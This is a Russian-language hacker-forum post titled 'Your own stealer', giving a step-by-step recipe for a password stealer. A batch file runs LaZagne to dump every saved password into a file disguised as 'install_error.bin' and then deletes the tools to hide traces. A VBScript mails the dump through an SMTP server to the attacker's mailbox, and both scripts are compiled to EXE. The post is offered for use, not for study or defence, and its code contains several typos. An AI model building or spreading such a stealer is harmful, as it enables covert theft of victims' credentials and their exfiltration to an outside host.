Свой Стиллер
@black_forum
Ку. Сегодня разберём как создать свой Стиллер
Нам понадобится:
1) LaZagne – прога для восстановления паролей и записи их в файл;
2) Batch-файл для запуска LaZagne и указания директории сохранения отчета и его имени;
3) Скрипт на VBS для отправки письма на почтовый адрес;
4) Конвертер VBS to EXE (по желанию, можно и без него);
5) Конвертер BAT to EXE.
Шаг 1. Создаем Batch файл со следующими строками:
Код:
@echo off
laZagne.exe all > D:\install_error.bin
TIMEOUT /T 2
sender.exe
TIMEOUT /T 5
del s/ "%UserProfile%
\Downloads\laZagne.exe"
del s/ "%UserProfile%
\Downloads\SENDER.exe"
del s/ "%UserProfile%
\Dekstop\laZagne.exe"
del s/ "%UserProfile%
\Dekstop\SENDER.exe"
где "D:\install_error.bin" – это директория и имя сохраненного отчета, TIMEOUT необходим для ожидания создания отчета (в среднем занимает этот процесс 1 секунду для 100 паролей).
Шаг 2. Создаем обычный текстовый документ в Notepad++, например. И сохраняем его в формате .vbs с таким содержимым:
Код:
Dim o_Mess v_Conf
v_Conf =
"http://shemas.microsoft.com/cdo
/configuration/"
Set o_Mess =
CreateObject("CDO.Message")
With o_Mess
.To = "получатель@mail.ru" куда отправляем
.From = "Имя <отправитель@mail.ru>"
' имя отправителя + Email
.Subject = "Log" ' Тема письма
.TextBody = "BodyMail" ' Сообщение
.AddAttachment "D:\install_error.bin"
' Прикрепить файл
.TextBodyPart.Charset = "windows-1251"
' русская кодировка
With .Configuration.Fields
.Item(v_Conf & "sendusing") = 2 ' без использования каталога Server Exchange
.Item(v_Conf & "smtpserver") =
"smtp.mail.ru" ' Адрес SMTP-сервера
.Item(v_Conf & "smtpauthenticate") = 1
' Тип авторизации
.Item(v_Conf & "sendusername") =
"отправитель@mail.ru" ' здесь имя пользователя
.Item(v_Conf & "sendpassword") =
"пароль отправителя" ' пароль
.Item(v_Conf & "smtpserverport") = 465
' порт (альтернативный - 465)
.Item(v_Conf & "smtpusessl") = True
' использовать ли шифрованое подключение SSL
.Item(v_Conf & smtpconnectiontimeout") = 60 ' Время до завершения повторных попыток подключения
.Update
End With
.send
End With
Set o_Mess = Nothing
Шаг 3. Компилируем данную кашу через BAT to EXE конвертер. Обратите внимание на файл SENDER.EXE, в данном случае использовался конвертер VBS to EXE.
После сохраняем наш EXE файл и запускаем его.
Шаг 4. Заходим на почтовый ящик и проверяем письмо.